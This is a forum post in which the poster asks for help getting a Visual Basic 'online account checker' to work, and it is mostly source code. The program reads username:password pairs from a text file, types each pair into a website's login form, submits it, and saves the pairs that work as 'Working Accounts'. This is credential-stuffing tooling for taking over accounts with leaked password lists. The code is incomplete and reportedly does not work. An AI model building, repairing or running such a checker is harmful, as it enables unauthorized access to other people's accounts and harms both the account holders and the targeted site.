Online website account checker
I've codding for few hours to achieve a online account checker, to input user
ass from txt and then check if them works
I cant get it working... Also I havent found any source code, but here is what I achieved (Visual basic)
Thanks for trying to help me!
ass from txt and then check if them worksI cant get it working... Also I havent found any source code, but here is what I achieved (Visual basic)
Code:
Imports System.Net
Imports System.Text
Imports System****
Imports System.Threading
Public Class Form1
Dim w As IO.StreamWriter
Dim r As IO.StreamReader
Dim uss, pss As String
Public Sub addme(ByVal yes As Boolean)
CheckForIllegalCrossThreadCalls = False
ListBox2.Items.Add(uss & ":" & pss)
uss = ""
pss = ""
Label6.Text = ListBox2.Items.Count
End Sub
Public Sub checkme()
WebBrowser1.Navigate("https://www.MYWEBSITE.com/login")
MsgBox("wait")
Dim theElementCollection As HtmlElementCollection
theElementCollection = WebBrowser1.Document.GetElementsByTagName("input")
For Each curElement As HtmlElement In theElementCollection
Dim controlName As String = curElement.GetAttribute("name").ToString
If controlName = "email" Then
curElement.SetAttribute("Value", "Username text here")
ElseIf controlName = "password" Then
curElement.SetAttribute("Value", "Password text here")
'In addition,you can get element value like this:
'MessageBox.Show(curElement.GetAttribute("Value"))
End If
Next
For Each curElement As HtmlElement In theElementCollection
If curElement.GetAttribute("value").Equals("submit") Then
curElement.InvokeMember("click")
' javascript has a click method for we need to invoke on button and hyperlink elements.
End If
Next
Thread.Sleep(9000)
Try
Dim theElementCollection1 As HtmlElementCollection
theElementCollection1 = WebBrowser1.Document.GetElementsByTagName("input")
For Each curElement1 As HtmlElement In theElementCollection1
If WebBrowser1.DocumentText.Contains("info") Then
addme(1)
End If
Dim element = WebBrowser1.Document.GetElementById("info")
If element IsNot Nothing Then
MsgBox(element.InnerHtml)
End If
Next
Catch ex As Exception
End Try
' If thepage.Contains("<span data-subscription-type=""user"" ") Then
'addme(1)
' End If
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
ListBox1.Items.Clear()
Using open As New OpenFileDialog
If open.ShowDialog = DialogResult.OK Then
r = New IO.StreamReader(open.FileName)
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While
r.Close()
End If
End Using
Label4.Text = ListBox1.Items.Count
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If ListBox2.Items.Count = 0 Then
Else
Dim save1 As New SaveFileDialog()
If save1.ShowDialog() = DialogResult.OK Then
Dim i As Integer
w = New IO.StreamWriter(save1.FileName)
For i = 0 To ListBox2.Items.Count - 1
w.WriteLine(ListBox2.Items.Item(i))
Next
w.Close()
ListBox2.Items.Clear()
End If
End If
End Sub
Private Sub split(ByVal i As Integer)
Dim username As String
Dim password As String
Dim info As String
Dim splited() As String
info = ListBox1.Items.Item(i).ToString
splited = info.Split(":")
username = splited(0)
password = splited(1)
uss = username
pss = password
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
If ListBox1.Items.Count = 0 Then
Else
BackgroundWorker1.RunWorkerAsync()
End If
End Sub
Private Sub Button4_Click(sender As Object, e As EventArgs) Handles Button4.Click
For i = 0 To ListBox1.Items.Count - 1
split(i)
MsgBox(i)
Dim theElementCollection As HtmlElementCollection
theElementCollection = WebBrowser1.Document.GetElementsByTagName("input")
For Each curElement As HtmlElement In theElementCollection
Dim controlName As String = curElement.GetAttribute("name").ToString
If controlName = "email" Then
curElement.SetAttribute("Value", uss)
ElseIf controlName = "password" Then
curElement.SetAttribute("Value", pss)
'In addition,you can get element value like this:
'MessageBox.Show(curElement.GetAttribute("Value"))
End If
Next
If i = ListBox1.Items.Count - 1 Then
MsgBox("All Accounts Checked! Please save your Working Accounts!")
End If
Next
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
End Sub
Private Sub BackgroundWorker1_DoWork(ByVal sender As Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
For i = 0 To ListBox1.Items.Count - 1
split(i)
checkme()
If i = ListBox1.Items.Count - 1 Then
MsgBox("All Accounts Checked! Please save your Working Accounts!")
End If
Next
End Sub
End Class